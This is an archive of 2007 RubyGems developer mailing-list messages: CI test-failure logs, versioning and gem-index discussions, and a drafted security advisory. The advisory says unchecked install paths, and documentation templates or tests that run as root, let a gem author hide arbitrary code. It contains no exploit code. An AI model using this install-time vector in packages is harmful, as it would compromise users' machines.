./test/test_require_gem.rb:22:in `replace' ./test/test_require_gem.rb:22:in `teardown' 294 tests, 1000 assertions, 2 failures, 19 errors ./test/test_require_gem.rb:22: warning: instance variable @old_path not initialized ./test/test_require_gem.rb:22: warning: instance variable @old_path not initialized ./test/test_require_gem.rb:22: warning: instance variable @old_path not initialized ./test/test_require_gem.rb:22: warning: instance variable @old_path not initialized rake aborted! Command failed with status (1): [c:/PROGRA~1/ruby/bin/ruby -w -Ilib "c:/PRO...] (See full trace by running task with --trace) -- Cerberus 0.3.3, http://cerberus.rubyforge.org/ From drbrain at segment7.net Mon Jan 15 16:08:13 2007 From: drbrain at segment7.net (Eric Hodel) Date: Mon, 15 Jan 2007 13:08:13 -0800 Subject: [Rubygems-developers] How do you indicate a post-1.0 release candidate gem version? In-Reply-To: References: Message-ID: On Jan 15, 2007, at 09:10, Chad Woolley wrote: > There's an interesting thread on the Mongrel Users list, where a > Debian package manager is asking questions about RubyGem's versioning > standards. > > Here's my last post which I think summarizes most of it: > > http://rubyforge.org/pipermail/mongrel-users/2007-January/002694.html > > Basically, the question is - how do you specify a release candidate > version for a version that is post 1.0? Typically I've seen release candidates go into a project-specific gem repository. Jim has one, Rails has one, and I think there's a few others I don't know about (maybe why's projects?). That's not really the answer you were looking for, though. > Specifically, if people are automatically pulling all the latest > version of a gem (">= 1.0.0"), how can they say "I ONLY want stable > releases, not alpha versions or > release candidates"? Does RubyGems support any version numbering > (or version specifications) other than the "[(in)equality operator] > x[.y.z]" pattern, where x, y, and z are numeric? You can specify a range, with version requirements, for example >= 1.0 < 1.1. (I'm not sure what the exact syntax is, though.) > If not, is this an unnecessary limitation? What are workarounds? Perhaps. I don't think it frequently comes up. The typical workaround is to not post release-candidate gems to Rubyforge, and instead host them on a separate gem server. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net YOU LIT MY GEM ON FIRE! From pabs at pablotron.org Mon Jan 15 16:35:10 2007 From: pabs at pablotron.org (Paul Duncan) Date: Mon, 15 Jan 2007 16:35:10 -0500 Subject: [Rubygems-developers] Gem indexing problem on RubyForge In-Reply-To: <068C77A2-CD6E-45DD-84C7-E70B05244C97@segment7.net> References: <1168828831.24095.147.camel@bugs.hal> <068C77A2-CD6E-45DD-84C7-E70B05244C97@segment7.net> Message-ID: <20070115213510.GM15628@vault.home.pablotron.org> * Eric Hodel (drbrain at segment7.net) wrote: > On Jan 14, 2007, at 18:40, Tom Copeland wrote: > > You've probably all seen the ruby-talk traffic about the > > RubyForge problem that cropped up this weekend. Someone released a > > gem > > with a spec.full_name (hoe-1.1.7) that didn't match the filename > > (devotion-0.1.gem) and got itself placed in the gem index in the place > > of hoe. Sadness ensued. > > > > I figure the easiest way to fix this - at least temporarily, so we can > > restart the RubyForge gem deployment cronjob - is to disallow > > deploying > > any gem where full_name != file name: > > > > ---------------- > > file_name = "/var/www/gems/gems/foo-4.2.gem" > > spec = Gem::Format.from_file_by_path(file_name).spec > > deploy if file_name =~ /\/#{spec.full_name}.gem$/ > > ---------------- > > Could the regex be relaxed to /\/#{spec.full_name}.*\.gem$/ ? It should be case-insensitive as well. That's why my gems aren't matching this regular expression; most of them have names in the form "Project-Name", while the gems themselves are all lower-case named "project-name-0.1.0.gem". I really don't think RubyGems should penalize people for using proper grammar on a case-insensitive filesystem. > (As part of the platform fix, I'm imagining making a non-ruby gems' > full name include their platform, something like "myproj-1.0- > mswin32.gem") > > > This is going to affect about 40 gems. I've attached the test program > > and the list to the bottom of this email. Looks like it's mostly > > operating-system-specific gems. > > I count 28 apparently non-platform gems. Is it easy to tell how > active these projects are? Can the authors be persuaded to > rerelease? Can the gems be renamed without harm? A large chunk of them are mine: > > BAD: /var/www/gems/gems/rubilicious-0.1.4.gem > > BAD: /var/www/gems/gems/imlib2-ruby-0.5.1.gem > > BAD: /var/www/gems/gems/fam-ruby-0.1.4.gem > > BAD: /var/www/gems/gems/rubilicious-0.2.0.gem > > BAD: /var/www/gems/gems/freshmeat-ruby-0.1.0.gem > > BAD: /var/www/gems/gems/fam-ruby-0.2.0.gem > > BAD: /var/www/gems/gems/mb-ruby-0.2.1.gem > > BAD: /var/www/gems/gems/joystick-ruby-0.1.0.gem > > BAD: /var/www/gems/gems/xmms-ruby-0.1.2.gem > > BAD: /var/www/gems/gems/rubilicious-0.1.5.gem > > BAD: /var/www/gems/gems/mb-ruby-0.3.0.gem > > BAD: /var/www/gems/gems/imlib2-ruby-0.4.3.gem > > BAD: /var/www/gems/gems/mb-ruby-0.1.0.gem > > BAD: /var/www/gems/gems/syndic8-ruby-0.2.0.gem I'm simply not going to re-release all of them; it's a complete waste of my time. -- Paul Duncan OpenPGP Key ID: 0x82C29562 http://www.pablotron.org/ http://www.paulduncan.org/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070115/c38af563/attachment.bin From pabs at pablotron.org Mon Jan 15 17:13:07 2007 From: pabs at pablotron.org (Paul Duncan) Date: Mon, 15 Jan 2007 17:13:07 -0500 Subject: [Rubygems-developers] Gem indexing problem on RubyForge In-Reply-To: <1168828831.24095.147.camel@bugs.hal> References: <1168828831.24095.147.camel@bugs.hal> Message-ID: <20070115221307.GN15628@vault.home.pablotron.org> * Tom Copeland (tom at infoether.com) wrote: [snipped] > deploy if file_name =~ /\/#{spec.full_name}.gem$/ > This is going to affect about 40 gems. Change it to this: deploy if file_name =~ /\/#{spec.full_name}.gem$/i And at least 14 of them (all of mine) should disappear from the list. > I've attached the test program and the list to the bottom of this > email. Looks like it's mostly operating-system-specific gems. And virtually all of my gems, because I use proper names for the full name of the package, but lower-case filenames for the gems themselves. -- Paul Duncan OpenPGP Key ID: 0x82C29562 http://www.pablotron.org/ http://www.paulduncan.org/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://rubyforge.org/pipermail/rubygems-developers/attachments/20070115/e09764b5/attachment.bin From drbrain at segment7.net Mon Jan 15 19:53:15 2007 From: drbrain at segment7.net (Eric Hodel) Date: Mon, 15 Jan 2007 16:53:15 -0800 Subject: [Rubygems-developers] Gem indexing problem on RubyForge In-Reply-To: <20070115213510.GM15628@vault.home.pablotron.org> References: <1168828831.24095.147.camel@bugs.hal> <068C77A2-CD6E-45DD-84C7-E70B05244C97@segment7.net> <20070115213510.GM15628@vault.home.pablotron.org> Message-ID: On Jan 15, 2007, at 13:35, Paul Duncan wrote: > * Eric Hodel (drbrain at segment7.net) wrote: >> I count 28 apparently non-platform gems. Is it easy to tell how >> active these projects are? Can the authors be persuaded to >> rerelease? Can the gems be renamed without harm? > > A large chunk of them are mine: > > I'm simply not going to re-release all of them; it's a complete > waste of > my time. Renaming without harm would be preferred, but it looks like your /i should fix that... -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From anatol.pomozov at gmail.com Tue Jan 16 00:02:38 2007 From: anatol.pomozov at gmail.com (Cerberus) Date: Tue, 16 Jan 2007 08:02:38 +0300 Subject: [Rubygems-developers] [rubygems] Build still broken (#1198) but getting better Message-ID: <45ac5c6eaba18_d801741872156@ubuntu.tmail> ------------------------------------------------------------------------ r1198 | drbrain | 2007-01-16 03:32:44 +0300 | 1 line Changed paths: M /trunk/ChangeLog M /trunk/post-install.rb Install sources first, since its rather important ------------------------------------------------------------------------ (in C:/Documents and Settings/anatol/.cerberus/work/rubygems/sources) require_gem is obsolete. Use gem instead. Loaded suite c:/PROGRA~1/ruby/lib/ruby/gems/1.8/gems/rake-0.7.1/lib/rake/rake_test_loader Started .........................................................................FF.................................................................EE......................................................................................................................................................... Finished in 19.141 seconds. 1) Failure: test_class_build(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:35]: <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_1568/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_1568/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_1568/ext)\n"]> expected but was <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_1568/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_1568/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_1568/ext)\nrequire_gem is obsolete. Use gem instead.\n"]>. 2) Failure: test_class_build_fail(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:45]: exception expected but none was thrown. 3) Error: test_install_bad_gem(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_1568/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 4) Error: test_install_with_message(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_1568/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 295 tests, 1026 assertions, 2 failures, 2 errors rake aborted! Command failed with status (1): [c:/PROGRA~1/ruby/bin/ruby -w -Ilib "c:/PRO...] (See full trace by running task with --trace) -- Cerberus 0.3.3, http://cerberus.rubyforge.org/ From anatol.pomozov at gmail.com Tue Jan 16 14:41:23 2007 From: anatol.pomozov at gmail.com (Cerberus) Date: Tue, 16 Jan 2007 22:41:23 +0300 Subject: [Rubygems-developers] [rubygems] Build broken by drbrain (#1201) Message-ID: <45ad2a63762a0_f417419e41a1@ubuntu.tmail> ------------------------------------------------------------------------ r1200 | drbrain | 2007-01-16 22:20:01 +0300 | 1 line Changed paths: M /trunk/lib/rubygems/rubygems_version.rb Updated to version 0.9.1 ------------------------------------------------------------------------ (in C:/Documents and Settings/anatol/.cerberus/work/rubygems/sources) require_gem is obsolete. Use gem instead. Loaded suite c:/PROGRA~1/ruby/lib/ruby/gems/1.8/gems/rake-0.7.1/lib/rake/rake_test_loader Started .........................................................................FF.................................................................EE......................................................................................................................................................... Finished in 20.172 seconds. 1) Failure: test_class_build(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:35]: <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/ext)\n"]> expected but was <["rake RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/prefix RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/prefix extension", "(in C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/ext)\nrequire_gem is obsolete. Use gem instead.\n"]>. 2) Failure: test_class_build_fail(TestGemExtRakeBuilder) [./test/test_gem_ext_rake_builder.rb:45]: exception expected but none was thrown. 3) Error: test_install_bad_gem(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 4) Error: test_install_with_message(TestInstaller): Errno::EACCES: Permission denied - C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/gemhome/cache/broken-1.0.0.gem c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in `platform_support' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in `postorder_traverse' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' ./test/gemutilities.rb:78:in `teardown' 295 tests, 1026 assertions, 2 failures, 2 errors rake aborted! Command failed with status (1): [c:/PROGRA~1/ruby/bin/ruby -w -Ilib "c:/PRO...] (See full trace by running task with --trace) -- Cerberus 0.3.3, http://cerberus.rubyforge.org/ From drbrain at segment7.net Tue Jan 16 15:07:33 2007 From: drbrain at segment7.net (Eric Hodel) Date: Tue, 16 Jan 2007 12:07:33 -0800 Subject: [Rubygems-developers] Need to release 0.9.1 due to security exploit In-Reply-To: <20070113065815.GK15628@vault.home.pablotron.org> References: <65B8F424-2351-484B-86E6-777585CF68BA@segment7.net> <20070113065815.GK15628@vault.home.pablotron.org> Message-ID: <8103E2AF-DE3E-4A0D-8ACB-327FC7F40DFD@segment7.net> On Jan 12, 2007, at 22:58, Paul Duncan wrote: > * Eric Hodel (drbrain at segment7.net) wrote: >> I've checked in fixes for an installation exploit found by Gavin >> Sinclair. Here's a draft email describing the exploit and how to fix >> RubyGems. I only supplied patches for the past two versions of >> RubyGems, since tattle says that's what everybody uses. >> >> Subject: RubyGems 0.9.0 and earlier installation exploit >> >> Problem Description: >> >> RubyGems does not check installation paths for gems before writing >> files. > > The potential security problems with RubyGems are actually much worse > than that. Documentation and tests are executed as the user doing the > install (which, as you said, is usually root). That means I can embed > arbitrary Ruby code in either the documentation template and it will > usually be run as root. For example: I don't think there's an easy way around this one. > Obviously the same thing can be done with unit tests. While > neither of > these are a bug with RubyGems per-se, they're both convenient > places to > hide sneak away code that will be run as root on a lot of machines at > install time. I think I'll pull the ability to run unit tests out of gem install for 0.9.2. The whole thing is various shades of broken anyhow and needs a revamp. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From Daniel.Berger at qwest.com Tue Jan 16 14:57:25 2007 From: Daniel.Berger at qwest.com (Berger, Daniel) Date: Tue, 16 Jan 2007 13:57:25 -0600 Subject: [Rubygems-developers] [rubygems] Build broken by drbrain (#1201) In-Reply-To: <45ad2a63762a0_f417419e41a1@ubuntu.tmail> Message-ID: <7524A45A1A5B264FA4809E2156496CFB0D0E22@ITOMAE2KM01.AD.QINTRA.COM> > -----Original Message----- > From: rubygems-developers-bounces at rubyforge.org > [mailto:rubygems-developers-bounces at rubyforge.org] On Behalf > Of Cerberus > Sent: Tuesday, January 16, 2007 12:41 PM > To: rubygems-developers at rubyforge.org > Subject: [Rubygems-developers] [rubygems] Build broken by > drbrain (#1201) > 1) Failure: > test_class_build(TestGemExtRakeBuilder) > [./test/test_gem_ext_rake_builder.rb:35]: > <["rake > RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_275 > 6/prefix > RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756 > /prefix extension", "(in > C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/ext)\n"]> > expected but was <["rake > RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_275 > 6/prefix > RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756 > /prefix extension", "(in > C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/ext)\nrequ > ire_gem is obsolete. Use gem instead.\n"]>. Looks like the test suite needs an update here. > 2) Failure: > test_class_build_fail(TestGemExtRakeBuilder) > [./test/test_gem_ext_rake_builder.rb:45]: > exception expected but none was thrown. Not sure about this one. > 3) Error: > test_install_bad_gem(TestInstaller): > Errno::EACCES: Permission denied - > C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/gemhome/ca > che/broken-1.0.0.gem > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in > `platform_support' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' > ./test/gemutilities.rb:78:in `teardown' It looks like the test suite is trying to delete a file that's still in use, e.g. an open file handle. Windows doesn't allow this. > 4) Error: > test_install_with_message(TestInstaller): > Errno::EACCES: Permission denied - > C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/gemhome/ca > che/broken-1.0.0.gem > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in > `platform_support' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > `postorder_traverse' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' > ./test/gemutilities.rb:78:in `teardown' Same as above. None of these look like problems with gems so much as problems with the test suite. Regards, Dan This communication is the property of Qwest and may contain confidential or privileged information. Unauthorized use of this communication is strictly prohibited and may be unlawful. If you have received this communication in error, please immediately notify the sender by reply e-mail and destroy all copies of the communication and any attachments. From anatol.pomozov at gmail.com Tue Jan 16 16:01:43 2007 From: anatol.pomozov at gmail.com (Anatol Pomozov) Date: Wed, 17 Jan 2007 00:01:43 +0300 Subject: [Rubygems-developers] [rubygems] Build broken by drbrain (#1201) In-Reply-To: <7524A45A1A5B264FA4809E2156496CFB0D0E22@ITOMAE2KM01.AD.QINTRA.COM> References: <45ad2a63762a0_f417419e41a1@ubuntu.tmail> <7524A45A1A5B264FA4809E2156496CFB0D0E22@ITOMAE2KM01.AD.QINTRA.COM> Message-ID: <3665a1a00701161301j4c1727f8i9b8c994daa98dbcc@mail.gmail.com> On 1/16/07, Berger, Daniel wrote: > > > -----Original Message----- > > From: rubygems-developers-bounces at rubyforge.org > > [mailto:rubygems-developers-bounces at rubyforge.org] On Behalf > > Of Cerberus > > Sent: Tuesday, January 16, 2007 12:41 PM > > To: rubygems-developers at rubyforge.org > > Subject: [Rubygems-developers] [rubygems] Build broken by > > drbrain (#1201) > > > > > 1) Failure: > > test_class_build(TestGemExtRakeBuilder) > > [./test/test_gem_ext_rake_builder.rb:35]: > > <["rake > > RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_275 > > 6/prefix > > RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756 > > /prefix extension", "(in > > C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/ext)\n"]> > > expected but was <["rake > > RUBYARCHDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_275 > > 6/prefix > > RUBYLIBDIR=C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756 > > /prefix extension", "(in > > C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/ext)\nrequ > > ire_gem is obsolete. Use gem instead.\n"]>. > > Looks like the test suite needs an update here. > > > 2) Failure: > > test_class_build_fail(TestGemExtRakeBuilder) > > [./test/test_gem_ext_rake_builder.rb:45]: > > exception expected but none was thrown. > > Not sure about this one. It happens because of rake.bat (that came from OneClickInstaller) always returns 0 even in case of test failure. RubyGems tests expect that exception would be thrown (because of rake process return 1 "error" code) but it is not. This problem with rake.bat has been fixed in OneClickInstaller HEAD and I'll copy from it from repo to my distribution. It should fix test but take into account that other people that use released version of OneClickInst would have this issue. > 3) Error: > > test_install_bad_gem(TestInstaller): > > Errno::EACCES: Permission denied - > > C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/gemhome/ca > > che/broken-1.0.0.gem > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in > > `platform_support' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1280:in `remove_file' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1269:in `remove' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:748:in `remove_entry' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1319:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1323:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1318:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1317:in > > `postorder_traverse' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:746:in `remove_entry' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:604:in `rm_r' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:600:in `rm_r' > > ./test/gemutilities.rb:78:in `teardown' > > It looks like the test suite is trying to delete a file that's still in > use, e.g. an open file handle. Windows doesn't allow this. > > > 4) Error: > > test_install_with_message(TestInstaller): > > Errno::EACCES: Permission denied - > > C:/DOCUME~1/anatol/LOCALS~1/Temp/test_rubygems_2756/gemhome/ca > > che/broken-1.0.0.gem > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `unlink' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1281:in `remove_file' > > c:/PROGRA~1/ruby/lib/ruby/1.8/fileutils.rb:1289:in > > `platform_support' > > 